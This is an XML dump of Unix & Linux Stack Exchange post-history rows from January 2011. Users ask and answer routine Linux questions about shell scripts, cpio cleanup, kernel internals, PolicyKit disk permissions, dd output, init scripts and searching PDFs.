  <row Id="15376" PostHistoryTypeId="2" PostId="6690" RevisionGUID="1ee9bb07-7741-425e-ab9b-20178aea7f4f" CreationDate="2011-01-31T08:12:12.163" UserId="250" Text="I'm feeling stupid, anyway I scratched my head to write up this script. The idea is like in Michael's answer. The tricky part is, the cpio archive is from an initrd, so many folders and files have the same name as in a working system. Luckily cpio didn't overwrite any of my existing files. I use a time check to ensure not to delete anything that existed before the wrong command.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    #! /bin/sh&#xD;&#xA;&#xD;&#xA;    files=$(cpio -it &lt; /mnt/temp/lglive.cpio)&#xD;&#xA;&#xD;&#xA;    for i in ${files}&#xD;&#xA;    do&#xD;&#xA;        name=$(stat -c &quot;%n&quot; ${i})&#xD;&#xA;        time=$(stat -c &quot;%Y&quot; ${i})&#xD;&#xA;        # Time of the creation of the mess: 1296457595&#xD;&#xA;        if [[ ${time} -gt 1296457590 &amp;&amp; ${time} -lt 1296457600 ]]&#xD;&#xA;        then&#xD;&#xA;            if [[ -f ${name} ]]&#xD;&#xA;            # If it is a file, it must have been created as part of the mess.&#xD;&#xA;            then&#xD;&#xA;                echo &quot;rm ${name}&quot;&#xD;&#xA;            elif [[ -d ${name} ]]&#xD;&#xA;            # If it is a directory, it may have been part of the mess&#xD;&#xA;            # or maybe some files underneath it is created as part of the mess.&#xD;&#xA;            then&#xD;&#xA;                if [[ $(ls -A ${name}) ]]&#xD;&#xA;                # If the directory contains something then don't delete it.&#xD;&#xA;                then&#xD;&#xA;                    echo &quot;${name} is not empty&quot;&#xD;&#xA;                # If the directory is empty then assume it is rubbish.&#xD;&#xA;                else&#xD;&#xA;                    echo &quot;rmdir ${name}&quot;&#xD;&#xA;                fi&#xD;&#xA;            fi&#xD;&#xA;        fi&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;    echo &quot;Files and directories still exist after the removal:&quot;&#xD;&#xA;    for i in ${files}&#xD;&#xA;    do&#xD;&#xA;        if [[ -e ${i} ]]&#xD;&#xA;        then&#xD;&#xA;            echo ${i}&#xD;&#xA;        fi&#xD;&#xA;    done&#xD;&#xA;" />
  <row Id="15377" PostHistoryTypeId="25" PostId="6686" RevisionGUID="3c7625ab-1250-421f-bd4d-7be2a5c9fa5d" CreationDate="2011-01-31T08:16:10.317" Comment="http://twitter.com/#!/StackUnix/status/31989098679894017" />
  <row Id="15378" PostHistoryTypeId="2" PostId="6691" RevisionGUID="e098b908-5a3c-4b5c-ab41-852f9a5f6835" CreationDate="2011-01-31T09:04:59.437" UserId="2327" Text="Brace expansion comes very handy when creating large directory structures:&#xD;&#xA;&#xD;&#xA;    mkdir -p dir1/{subdir1,subdir2}/{subsubdir1,subsubdir2}&#xD;&#xA;&#xD;&#xA;This will give you&#xD;&#xA;&#xD;&#xA;    find dir1 -type d&#xD;&#xA;    dir1&#xD;&#xA;    dir1/subdir1&#xD;&#xA;    dir1/subdir1/subsubdir1&#xD;&#xA;    dir1/subdir1/subsubdir2&#xD;&#xA;    dir1/subdir2&#xD;&#xA;    dir1/subdir2/subsubdir1&#xD;&#xA;    dir1/subdir2/subsubdir2&#xD;&#xA;&#xD;&#xA;You could even go one step further and put brace expansion into brace expansion:&#xD;&#xA;&#xD;&#xA;    mkdir -p dir1/{subdir{1,2}}/{subsubdir{1,2}}&#xD;&#xA;&#xD;&#xA;This will give you the same directory structure as the example above.&#xD;&#xA;" />
  <row Id="15379" PostHistoryTypeId="5" PostId="874" RevisionGUID="ecd4a6b2-4251-43c9-9a14-2169ccd130c1" CreationDate="2011-01-31T09:58:43.193" UserId="688" Comment="added 1 characters in body" Text="Yes, this is a bit inconsistent, even within the GNU tools.&#xD;&#xA;&#xD;&#xA;One problem with your proposal is that non-empty directories cannot be removed. Apart from that, `-T` (in GNU land, anyway) approximates what you want (the first case):&#xD;&#xA;&#xD;&#xA;    $ ls dira/ dirb/&#xD;&#xA;    dira/:&#xD;&#xA;    a&#xD;&#xA;    &#xD;&#xA;    dirb/:&#xD;&#xA;    b&#xD;&#xA;    $ mv -iT dira/ dirb/&#xD;&#xA;    mv: overwrite `dirb/'? y&#xD;&#xA;    mv: cannot move `dira/' to `dirb/': Directory not empty&#xD;&#xA;    $ rm dirb/b &#xD;&#xA;    $ mv -iT dira/ dirb/&#xD;&#xA;    mv: overwrite `dirb/'? y&#xD;&#xA;    $ ls dira/ dirb/&#xD;&#xA;    ls: cannot access dira/: No such file or directory&#xD;&#xA;    dirb/:&#xD;&#xA;    a&#xD;&#xA;" />
  <row Id="15380" PostHistoryTypeId="2" PostId="6692" RevisionGUID="276a22cb-62b2-4332-85d3-1283fc2a9b43" CreationDate="2011-01-31T10:05:30.183" UserId="4346" Text="Does `tcp_yeah` appear in `/proc/modules` ? If not, you need to `modprobe tcp_yeah`." />
  <row Id="15381" PostHistoryTypeId="2" PostId="6693" RevisionGUID="044e74a1-feac-43b1-9dd4-8a3fe9b41be3" CreationDate="2011-01-31T10:09:43.190" UserId="4346" Text="Just don't ? Let the kernel do its job, it knows better ?" />
  <row Id="15382" PostHistoryTypeId="2" PostId="6694" RevisionGUID="4a7f8d83-2f51-4cbd-b261-7457b56643be" CreationDate="2011-01-31T10:13:53.487" UserId="3069" Text="I can try to answer 1,3 and 4.&#xD;&#xA;&#xD;&#xA;The Linux kernel uses different steps to transition program code into electrical signals.&#xD;&#xA;&#xD;&#xA;**Logical Address**: Those are included in the machine language instructions to address an operation or instruction. Divided into segment and offset.&#xD;&#xA;&#xD;&#xA;**Linear Address**: The Segmentation Unit translates logical into linear addresses. This is a hexadecimal number (on 32bit architecture: `0x00000000-0xffffffff`) addressing the space in memory.&#xD;&#xA;&#xD;&#xA;**Physical Address**: Further, the Paging Unit converts linear into physical addresses. Those are electrical signals addressing memory cells over pins on microprocessors.&#xD;&#xA;&#xD;&#xA;**Bus Address**: Used by all hardware devices except the CPU to address memory cells (DMA does not require the CPU, but still addressing). These addresses are mostly identical to the physical ones, except on some other architectures, like SPARC and Alpha which include a separate I/O Memory Management Unit.&#xD;&#xA;&#xD;&#xA;The kernel operates with all addresses, and every of them is a step between the request of a user and the actual processing of this request on hardware level.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;If a process approaches a semaphore with value 0 or lower, he gets suspended until the value reaches 1 or more. This only occurs to processes which can sleep. An interrupt handler cannot sleep and therefore is forbidden to use semaphores.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;Atomic operations can be achieved by using Assembly language instructions, those are defined by:&#xD;&#xA;&#xD;&#xA; - Zero or one memory access&#xD;&#xA; - Prefixed with `LOCK_PREFIX`&#xD;&#xA;&#xD;&#xA;On C level, the kernel provides the type `atomic_t` and macros prefixed with [`atomic_`][1]  &#xD;&#xA;(which add `LOCK_PREFIX` to the assembly instructions).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://lxr.linux.no/#linux+v2.6.37/arch/x86/include/asm/atomic.h" />
  <row Id="15383" PostHistoryTypeId="5" PostId="6687" RevisionGUID="3d2e795a-9be4-4c57-b1a9-66dec34a092e" CreationDate="2011-01-31T10:15:10.537" UserId="3069" Comment="added 6 characters in body; edited tags; edited title" Text="Hi&#xD;&#xA;&#xD;&#xA;I was reading &quot;Linux device drivers, 3rd edition&quot; and faced a few kernel items I don't quite understand. Hope gurus on this forum will help me out.&#xD;&#xA;&#xD;&#xA; 1. Does the Linux kernel internally operate with virtual or physical addresses? What especially confuses me is that there are several types of addresses (logical, virtual, bus and physical) and they are all valid and operable by the kernel.&#xD;&#xA;&#xD;&#xA; 2. Is that correct that CPU instructions can't directly address data stored in peripheral devices and therefore addressable memory is used, i.e. buffers, for these purposes?&#xD;&#xA;&#xD;&#xA; 3. Can a process sleep when requesting a semaphore (which has a value 0) and has to wait for it?&#xD;&#xA;&#xD;&#xA; 4. Atomic operations -- are these guaranteed by specific CPU instructions?&#xD;&#xA;" />
  <row Id="15384" PostHistoryTypeId="4" PostId="6687" RevisionGUID="3d2e795a-9be4-4c57-b1a9-66dec34a092e" CreationDate="2011-01-31T10:15:10.537" UserId="3069" Comment="added 6 characters in body; edited tags; edited title" Text="Questions on Linux kernel internals" />
  <row Id="15385" PostHistoryTypeId="6" PostId="6687" RevisionGUID="3d2e795a-9be4-4c57-b1a9-66dec34a092e" CreationDate="2011-01-31T10:15:10.537" UserId="3069" Comment="added 6 characters in body; edited tags; edited title" Text="élinuxàékernelàéprocessàémemoryà" />
  <row Id="15386" PostHistoryTypeId="25" PostId="6689" RevisionGUID="721a25ae-2b7a-4463-abaf-70482dc3e761" CreationDate="2011-01-31T11:16:09.913" Comment="http://twitter.com/#!/StackUnix/status/32034395539898368" />
  <row Id="15388" PostHistoryTypeId="2" PostId="6696" RevisionGUID="dc0005f4-ef08-468a-9652-d0c5e7fe691c" CreationDate="2011-01-31T12:16:04.353" UserId="98" Text="This is most likely a case of policy elevation. When you do it from an honest terminal this is what happens:&#xD;&#xA;&#xD;&#xA;    nc3b@aiur:~$ /sbin/mke2fs -jv /dev/sda1&#xD;&#xA;    mke2fs 1.41.3 (12-Oct-2008)&#xD;&#xA;    mke2fs: Permission denied while trying to determine filesystem size&#xD;&#xA;&#xD;&#xA;When you do it from gnome or whatever there's a daemon whose task is to elevate your privileges when you want to perform a superuser action (it usually warns it's a privileged operation and asks for a password). I believe Fedora uses PolicyKit but [these systems work similarly][1]. &#xD;&#xA;&#xD;&#xA;The real danger of most of them is that they offer to &quot;Keep this password in the keyring&quot; or something like that and don't warn you again.&#xD;&#xA;&#xD;&#xA;&gt; sudo,[6] gksudo, and kdesu do not ask&#xD;&#xA;&gt; the user to re-enter their password&#xD;&#xA;&gt; every time it is called to elevate a&#xD;&#xA;&gt; program. Rather, the user is asked for&#xD;&#xA;&gt; their password once at the start. If&#xD;&#xA;&gt; the user has not used their&#xD;&#xA;&gt; administrative privileges for a&#xD;&#xA;&gt; certain period of time (sudo's default&#xD;&#xA;&gt; is 5 minutes[6]), the user is once&#xD;&#xA;&gt; again restricted to standard user&#xD;&#xA;&gt; privileges until they enter their&#xD;&#xA;&gt; password again.&#xD;&#xA;&#xD;&#xA;So the solution is to use a user that simply doesn't have the right to perform these tasks, even if he enters his password.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Comparison_of_privilege_authorization_features" />
  <row Id="15389" PostHistoryTypeId="2" PostId="6697" RevisionGUID="6b79e799-2028-4e20-ae70-73d4176f685c" CreationDate="2011-01-31T12:22:50.517" UserId="4352" Text="Running on Ubuntu Karmic. I need to execute the following script at startup&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    # /etc/rc.d/sripts&#xD;&#xA;    # Description: Starts Python scripts&#xD;&#xA;    # ————————————————–&#xD;&#xA;    #&#xD;&#xA;    ### BEGIN INIT INFO&#xD;&#xA;    # Provides: Scripts&#xD;&#xA;    # Required-Start: $network&#xD;&#xA;    # Required-Stop:&#xD;&#xA;    # Default-Start: 3 5&#xD;&#xA;    # Default-Stop: 0 1 2 6&#xD;&#xA;    # Description: Start Python scripts to provide X,Y and Z&#xD;&#xA;    ### END INIT INFO&#xD;&#xA;&#xD;&#xA;    case “$1″ in&#xD;&#xA;    start)&#xD;&#xA;    echo -n “Starting Mapping service: ”&#xD;&#xA;    /usr/local/bin/liteserv.py /home/myUN/bin/mapnik/my_osm.xml --caching --debug=False&#xD;&#xA;    ;;&#xD;&#xA;    stop)&#xD;&#xA;    echo -n “Stoping Mapping service: ”&#xD;&#xA;    /usr/local/bin/liteserv.py /home/myUN/bin/mapnik/my_osm.xml --caching --debug=False&#xD;&#xA;    ;;&#xD;&#xA;    restart)&#xD;&#xA;    echo -n “Retarting Mapping service: ”&#xD;&#xA;    /usr/local/bin/liteserv.py /home/myUN/bin/mapnik/my_osm.xml --caching --debug=False&#xD;&#xA;    ;;&#xD;&#xA;    *)&#xD;&#xA;    echo “Usage: scripts {start|stop|restart}”&#xD;&#xA;    exit 1&#xD;&#xA;    esac&#xD;&#xA;&#xD;&#xA;Have placed it into /etc/init.d&#xD;&#xA;Registered it with &#xD;&#xA;&#xD;&#xA;    sudo update-rc.d scripts defaults&#xD;&#xA;    &#xD;&#xA;But nothing happens on boot. I have tried looking in the logs but I cant find anything.&#xD;&#xA;Any suggestions?" />
  <row Id="15390" PostHistoryTypeId="1" PostId="6697" RevisionGUID="6b79e799-2028-4e20-ae70-73d4176f685c" CreationDate="2011-01-31T12:22:50.517" UserId="4352" Text="Run Python script on startup" />
  <row Id="15391" PostHistoryTypeId="3" PostId="6697" RevisionGUID="6b79e799-2028-4e20-ae70-73d4176f685c" CreationDate="2011-01-31T12:22:50.517" UserId="4352" Text="éubuntuàépythonàéstartupà" />
  <row Id="15392" PostHistoryTypeId="2" PostId="6698" RevisionGUID="980d615d-4d5d-44e7-8f36-5e16d0a80e72" CreationDate="2011-01-31T12:32:46.417" UserId="1655" Text="Fedora has some serious security problems if it allows non-root users to format the disk. Best thing to do is this:&#xD;&#xA;&#xD;&#xA;    chown root:root /dev/[sh]da[0-9]&#xD;&#xA;    chmod 0600 /dev/[sd]da[0-9]&#xD;&#xA;&#xD;&#xA;Then, if by needing the &quot;non-root user to be able to read and write on the partition&quot; you mean reading and writing to the file system, then it should be fine provided it is mounted.&#xD;&#xA;&#xD;&#xA;If you mean the other thing, then modifying the permissions on the program that is doing the reading and writing (possibly by running it through `sudo`) might solve the issue.&#xD;&#xA;&#xD;&#xA;Other than that, I think the partition structure is stored in the superblock of the disk (e.g. /dev/sda -- no numbers) and thus, setting that to `0600`, and the partitions to a more permissive mask (like `0660` and group-owned) might solve the problem." />
  <row Id="15393" PostHistoryTypeId="2" PostId="6699" RevisionGUID="3a847a34-7180-4936-a808-60040e1d88a5" CreationDate="2011-01-31T12:41:18.390" UserId="4353" Text="I have a bash script that creates some file using `dd`. The problem is dd throws a great amount of output that is going to mess with the output of my script.&#xD;&#xA;Searching around I've found a solution:&#xD;&#xA;&#xD;&#xA;    sudo dd if=boot1h of=&quot;/dev/r$temp1&quot; &gt;&amp; /dev/null&#xD;&#xA;&#xD;&#xA;And it works, the problem is that the script should not request for privileges.&#xD;&#xA;Is there an alternative?" />
  <row Id="15394" PostHistoryTypeId="1" PostId="6699" RevisionGUID="3a847a34-7180-4936-a808-60040e1d88a5" CreationDate="2011-01-31T12:41:18.390" UserId="4353" Text="How do I suppress dd output?" />
  <row Id="15395" PostHistoryTypeId="3" PostId="6699" RevisionGUID="3a847a34-7180-4936-a808-60040e1d88a5" CreationDate="2011-01-31T12:41:18.390" UserId="4353" Text="ébashàésudoàésuàéddà" />
  <row Id="15396" PostHistoryTypeId="2" PostId="6700" RevisionGUID="952f19a1-3be1-4c2a-9aa3-072503f31165" CreationDate="2011-01-31T12:47:31.050" UserId="1655" Text="From the `dd(1)` man page:&#xD;&#xA;&#xD;&#xA;       status=noxfer&#xD;&#xA;              suppress transfer statistics&#xD;&#xA;&#xD;&#xA;thus:&#xD;&#xA;&#xD;&#xA;    dd if=boot1h of=&quot;/dev/r$temp1&quot; status=noxfer" />
  <row Id="15397" PostHistoryTypeId="12" PostId="6700" RevisionGUID="4d1c9d3c-4801-496a-9747-7189eecbae29" CreationDate="2011-01-31T12:49:34.077" UserId="1655" Text="[{&quot;Id&quot;:1655,&quot;DisplayName&quot;:&quot;amphetamachine&quot;}]" />
  <row Id="15398" PostHistoryTypeId="5" PostId="6700" RevisionGUID="c081b14c-fa39-4d8f-b404-b9bde16825dc" CreationDate="2011-01-31T12:57:27.643" UserId="1655" Comment="added 156 characters in body" Text="From the `dd(1)` man page:&#xD;&#xA;&#xD;&#xA;       status=noxfer&#xD;&#xA;              suppress transfer statistics&#xD;&#xA;&#xD;&#xA;thus:&#xD;&#xA;&#xD;&#xA;    dd if=boot1h of=&quot;/dev/r$temp1&quot; status=noxfer&#xD;&#xA;&#xD;&#xA;This still outputs the &#xD;&#xA;&#xD;&#xA;    0+1 records in&#xD;&#xA;    0+1 records out&#xD;&#xA;&#xD;&#xA;garbage when `dd` exits, so redirecting to a data sink really is your only option." />
  <row Id="15399" PostHistoryTypeId="13" PostId="6700" RevisionGUID="01a3907b-de43-49d7-adf5-523d87856ea4" CreationDate="2011-01-31T12:57:33.010" UserId="1655" Text="[{&quot;Id&quot;:1655,&quot;DisplayName&quot;:&quot;amphetamachine&quot;}]" />
  <row Id="15400" PostHistoryTypeId="2" PostId="6701" RevisionGUID="c6cdc22a-6b01-421b-b997-d5437779ec75" CreationDate="2011-01-31T11:42:23.823" UserDisplayName="user575805" Text="i followed the steps as given in the article:&#xD;&#xA;http://shnwmchk.blogspot.com/2010/12...1-install.html&#xD;&#xA;&#xD;&#xA;after following all the steps,the ATI Catalyst was installed but when i boot my system,i get these options at GRUB&#xD;&#xA;&#xD;&#xA;GNU GRUB version 0.97&#xD;&#xA;--------------------------------------&#xD;&#xA;&#xD;&#xA;fedora(2.6.35.10-74.fc14.i686)&#xD;&#xA;fedora(2.6.35.6-45.fc14.i686)&#xD;&#xA;other&#xD;&#xA;--------------------------------------&#xD;&#xA;fedora(2.6.35.10-74.fc14.i686) is for fedora 14,&#xD;&#xA;fedora(2.6.35.6-45.fc14.i686) ,it now appears on the grub .this was after the installation of ATI Catalyst&#xD;&#xA;&#xD;&#xA;1.on choosing the second one,a lot of commands appear on screen and after that the screen goes blank but the system keeps running&#xD;&#xA;&#xD;&#xA;2.when ever i start up my system,fedora boots a little late&#xD;&#xA;3.the command line interface for fedora appears in very large font&#xD;&#xA;4.even the graphics appear poor,&#xD;&#xA;&#xD;&#xA;system information&#xD;&#xA;&#xD;&#xA;Fedora&#xD;&#xA;Release 14(laughlin)&#xD;&#xA;Kernel linux 2.6.35.10-74.fc14.i686&#xD;&#xA;Gnome 2.32.0&#xD;&#xA;&#xD;&#xA;ATI mobility radeon HD 4500&#xD;&#xA;Video Processor ATI Radeon Graphics Processor (0x9553)&#xD;&#xA;Driver Version 8.553.2.0&#xD;&#xA;&#xD;&#xA;is there any way to correct such behaviour ?&#xD;&#xA;if not,please tell how to remove the ATI Catalyst" />
  <row Id="15401" PostHistoryTypeId="1" PostId="6701" RevisionGUID="c6cdc22a-6b01-421b-b997-d5437779ec75" CreationDate="2011-01-31T11:42:23.823" UserDisplayName="user575805" Text="facing problem in Fedora 14 after ATI Catalyst 10.11 Install" />
  <row Id="15402" PostHistoryTypeId="3" PostId="6701" RevisionGUID="c6cdc22a-6b01-421b-b997-d5437779ec75" CreationDate="2011-01-31T11:42:23.823" UserDisplayName="user575805" Text="éfedoraà" />
  <row Id="15403" PostHistoryTypeId="17" PostId="6701" RevisionGUID="a1f2be9b-1e08-463a-be24-d7242c464018" CreationDate="2011-01-31T12:57:40.627" UserId="-1" Comment="from http://stackoverflow.com/questions/4850461/facing-problem-in-fedora-14-after-ati-catalyst-10-11-install" Text="" />
  <row Id="15404" PostHistoryTypeId="5" PostId="6701" RevisionGUID="d4fc0472-6d24-4889-8380-5453bb365623" CreationDate="2011-01-31T13:07:32.707" UserId="3069" Comment="added 107 characters in body; edited tags; edited title" Text="I followed the steps as given in this [article][1].&#xD;&#xA;&#xD;&#xA;After following all of the steps, ATI Catalyst was installed but when i boot my system, I get these options at GRUB:&#xD;&#xA;&#xD;&#xA;    GNU GRUB version 0.97&#xD;&#xA;    --------------------------------------&#xD;&#xA;    fedora(2.6.35.10-74.fc14.i686)&#xD;&#xA;    fedora(2.6.35.6-45.fc14.i686)&#xD;&#xA;&#xD;&#xA;    other&#xD;&#xA;    --------------------------------------&#xD;&#xA;    fedora(2.6.35.10-74.fc14.i686) # This is for fedora 14,&#xD;&#xA;    fedora(2.6.35.6-45.fc14.i686)  # It now appears on GRUB. This was after the installation of ATI Catalyst.&#xD;&#xA;&#xD;&#xA; 1. By choosing the second one, a lot of commands appear on screen and after that the screen goes blank but the system keeps running&#xD;&#xA;&#xD;&#xA; 2. Whenever I start up my system, fedora boots a little late&#xD;&#xA; 3. The command line interface for fedora appears in very large font&#xD;&#xA; 4. Even the graphics appear poor&#xD;&#xA;&#xD;&#xA;System information:&#xD;&#xA;&#xD;&#xA; - Fedora Release 14(laughlin)&#xD;&#xA; - Kernel linux 2.6.35.10-74.fc14.i686&#xD;&#xA; - Gnome 2.32.0&#xD;&#xA; - ATI mobility radeon HD 4500&#xD;&#xA; - Video Processor ATI Radeon Graphics Processor (0x9553)&#xD;&#xA; - Driver Version 8.553.2.0&#xD;&#xA;&#xD;&#xA;Is there any way to correct such behavior?  &#xD;&#xA;If not, please tell how to remove the ATI Catalyst.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://shnwmchk.blogspot.com/2010/12/fedora-14-ati-catalyst-1011-install.html" />
  <row Id="15405" PostHistoryTypeId="4" PostId="6701" RevisionGUID="d4fc0472-6d24-4889-8380-5453bb365623" CreationDate="2011-01-31T13:07:32.707" UserId="3069" Comment="added 107 characters in body; edited tags; edited title" Text="Problem with Fedora 14 after ATI Catalyst 10.11 Install" />
  <row Id="15406" PostHistoryTypeId="6" PostId="6701" RevisionGUID="d4fc0472-6d24-4889-8380-5453bb365623" CreationDate="2011-01-31T13:07:32.707" UserId="3069" Comment="added 107 characters in body; edited tags; edited title" Text="éfedoraàégrubàébootàégraphicsà" />
  <row Id="15407" PostHistoryTypeId="2" PostId="6702" RevisionGUID="7a92b04c-0765-4f11-b05f-828a1437dbc9" CreationDate="2011-01-31T13:19:41.960" UserId="250" Text="If I understand correctly what you are trying to do, are you putting that `sudo` command into the script and expecting the script to prompt for your password when it runs there? In that case you are just doing things the complicated way.&#xD;&#xA;&#xD;&#xA;A cleaner solution is to write the script in the usual way (i.e without `sudo`) and [run it as the superuser][1]. The reason behind this is, if the script needs superuser access, then just give it the access (why wait until a certain command?). In the script, to check if it is being run as root do something like this:&#xD;&#xA;&#xD;&#xA;    if [ &quot;$(id -u)&quot; != &quot;0&quot; ]; then&#xD;&#xA;        echo &quot;This script must be run as root&quot; 1&gt;&amp;2&#xD;&#xA;        exit 1&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/q/3063/250" />
  <row Id="15408" PostHistoryTypeId="2" PostId="6703" RevisionGUID="0b7fe9b7-a936-438c-b63a-03787b2109ee" CreationDate="2011-01-31T13:31:35.210" UserId="3447" Text="You usually want to install Catalyst from the RPMFusion.org repository.  It does a better job of keeping the kernel module updated anytime your kernel gets updated. But the installer from amd.com should work for the time being.&#xD;&#xA;&#xD;&#xA;1.  The second option is an older kernel.  When you installed Catalyst it only built a module for the kernel you were running at the time of install which would have been the first option.  If your kernel doesn't have the Catalyst module, you get no graphics at all.&#xD;&#xA;&#xD;&#xA;2.  I'm not sure what you mean by late?  Do you mean it takes longer to boot?&#xD;&#xA;&#xD;&#xA;3.  Yes, the console font should be larger.  Before you installed Catalyst you were using the open source Radeon drivers which implements something called KMS (Kernel Mode Setting) which gives you a high resolution console.  Since KMS is fairly new and heavily reliant on the kernel and a lot of open source technologies, the closed source Catalyst driver doesn't use it.  Maybe it will when that stuff gets more stable.&#xD;&#xA;&#xD;&#xA;4.  Not sure what you mean by the graphics being poor.  Did you set the resolution of your monitor to be the max it can support?  If you're running at 800x600 then yeah it would look poor." />
  <row Id="15409" PostHistoryTypeId="2" PostId="6704" RevisionGUID="dd98778e-c5c6-46c5-b313-94d386414437" CreationDate="2011-01-31T13:31:48.297" UserId="1777" Text="Is there a way to search pdf files using the power of grep, without converting to text first in Ubuntu?" />
  <row Id="15410" PostHistoryTypeId="1" PostId="6704" RevisionGUID="dd98778e-c5c6-46c5-b313-94d386414437" CreationDate="2011-01-31T13:31:48.297" UserId="1777" Text="grep pdf files?" />
  <row Id="15411" PostHistoryTypeId="3" PostId="6704" RevisionGUID="dd98778e-c5c6-46c5-b313-94d386414437" CreationDate="2011-01-31T13:31:48.297" UserId="1777" Text="égrepàépdfà" />
  <row Id="15412" PostHistoryTypeId="2" PostId="6705" RevisionGUID="a787c695-72fd-4410-8214-ab8970b2abb4" CreationDate="2011-01-31T13:45:53.797" UserId="3192" Text="You could pipe it through `strings` first:-&#xD;&#xA;&#xD;&#xA;    cat file.pdf | strings | grep &lt;...etc...&gt;" />
  <row Id="15413" PostHistoryTypeId="2" PostId="6706" RevisionGUID="cf8a3669-8fa2-4c84-92ae-b3c5d0b4f79f" CreationDate="2011-01-31T13:45:58.493" UserId="3069" Text="If you have `poppler-utils` installed (default on Ubuntu Desktop), you could &quot;convert&quot; it on the fly and pipe it to `grep`:&#xD;&#xA;&#xD;&#xA;    pdftotext my.pdf - | grep 'pattern'&#xD;&#xA;&#xD;&#xA;This won't create a .txt file." />
  <row Id="15414" PostHistoryTypeId="2" PostId="6707" RevisionGUID="693139b4-2209-40d6-9a2d-e0e04a71982c" CreationDate="2011-01-31T14:03:03.490" UserId="4335" Text="gpdf might be what you need if you're using Gnome! Check [this][1] in case you're not using Gnome. It's got a list of CLI pdf viewers. Then you can use `grep` to find some pattern.&#xD;&#xA;&#xD;&#xA;Hope that helps.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cyberciti.biz/faq/open-a-pdf-file-under-linuxfreebsd/" />
  <row Id="15415" PostHistoryTypeId="25" PostId="6704" RevisionGUID="1b025f09-a625-44d3-8c3a-1c3fc11e81da" CreationDate="2011-01-31T14:16:09.720" Comment="http://twitter.com/#!/StackUnix/status/32079694052462592" />
  <row Id="15416" PostHistoryTypeId="2" PostId="6708" RevisionGUID="2bc08264-7f5b-408e-991d-abf784e295a0" CreationDate="2011-01-31T14:41:18.553" UserId="3069" Text="As [nc3b][1] already pointed out, this gets controlled by PolicyKit.  The policy for disks is located at: `/usr/share/polkit-1/actions/org.freedesktop.udisks.policy` and can be adjusted.  &#xD;&#xA;Open it with root rights and search for the line: `&lt;action id=&quot;org.freedesktop.udisks.change&quot;&gt;`, comment out the whole block: `&lt;!-- [udisks.change-block] --&gt;`, save and exit.&#xD;&#xA;&#xD;&#xA;Check if it's disabled:&#xD;&#xA;&#xD;&#xA;    $ pkaction --action-id org.freedesktop.udisks.change&#xD;&#xA;    No action with action id org.freedesktop.udisks.change&#xD;&#xA;&#xD;&#xA;Good, next time you try to format a device as a non-root user, either over the context menu or over 'Disk Utility', an error message will appear an disallow it.  This step will still allow the non-root user to read/write the device.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;If you still want to allow formating of devices, but with a higher security level, you can force PolicyKit to ask for a password every time.  &#xD;&#xA;Open the same file and go to the same section, substitute the 'Yes' to 'auth_admin' in `allow_active`:&#xD;&#xA;&#xD;&#xA;    &lt;allow_active&gt;auth_admin&lt;/allow_active&gt;&#xD;&#xA;&#xD;&#xA;Check:&#xD;&#xA;&#xD;&#xA;    $ pkaction --verbose --action-id org.freedesktop.udisks.change&#xD;&#xA;    ...&#xD;&#xA;    implicit active:   auth_admin&#xD;&#xA;&#xD;&#xA;Excellent!&#xD;&#xA;&#xD;&#xA;**Note:** I've only tested this on Ubuntu, but Fedora also uses PolicyKit, so try it with a dummy drive first.&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/6689/prevent-non-root-user-from-formatting-a-partition/6696#6696" />
  <row Id="15421" PostHistoryTypeId="2" PostId="6709" RevisionGUID="f885a638-79f5-44af-afbd-7333d3e9e361" CreationDate="2011-01-31T15:17:17.153" UserId="838" Text="No.&#xD;&#xA;&#xD;&#xA;A pdf consists of chunks of data, some of them text, some of them pictures and some of them really magical fancy XYZ (eg. .u3d files). Those chunks are most of the times compressed (eg. flat, check http://www.verypdf.com/pdfinfoeditor/compression.htm). In order to 'grep' a .pdf you _have_ to reverse the compression aka extract the text.&#xD;&#xA;&#xD;&#xA;You can do that either per file with tools such as `pdf2text` and grep the result, or you run an 'indexer' (look at [xapian.org][1] or [lucene][2]) which builds an searchable index out of your .pdf files and then you can use the search engine tools of that indexer to get the content of the pdf.&#xD;&#xA;&#xD;&#xA;But no, you can not `grep` pdf files and hope for reliable answers without extracting the text first.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://xapian.org&#xD;&#xA;  [2]: http://lucene.apache.org/java/docs/index.html" />
  <row Id="15422" PostHistoryTypeId="2" PostId="6710" RevisionGUID="2432ef46-0300-4db5-87e1-62be77774f5a" CreationDate="2011-01-31T15:25:48.677" UserId="838" Text="You can add your stuff to `/etc/rc.local`. &#xD;&#xA;&#xD;&#xA;Otherwise, you could place your script into `/etc/init.d/`, `chmod +x` it and then run `update-rc.d FOO defaults`." />
  <row Id="15423" PostHistoryTypeId="2" PostId="6711" RevisionGUID="931fe722-1115-4d94-878f-9fc91af2d13f" CreationDate="2011-01-31T15:38:27.433" UserId="4357" Text="I happened to talk to a [Mac Genius][1] on the subject of viruses.&#xD;&#xA;&#xD;&#xA;He mentioned that the FreeBSD kernel on which the Mac OS is based is 'locked' and therefore no viruses can ever harm my Mac.&#xD;&#xA;&#xD;&#xA;I didn't quite understand what he meant.&#xD;&#xA;&#xD;&#xA;Could someone explain?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Mac_genius" />
  <row Id="15424" PostHistoryTypeId="1" PostId="6711" RevisionGUID="931fe722-1115-4d94-878f-9fc91af2d13f" CreationDate="2011-01-31T15:38:27.433" UserId="4357" Text="FreeBSD's kernel is 'locked'? " />
  <row Id="15425" PostHistoryTypeId="3" PostId="6711" RevisionGUID="931fe722-1115-4d94-878f-9fc91af2d13f" CreationDate="2011-01-31T15:38:27.433" UserId="4357" Text="ékernelàéosxàéfreebsdàévirusesà" />
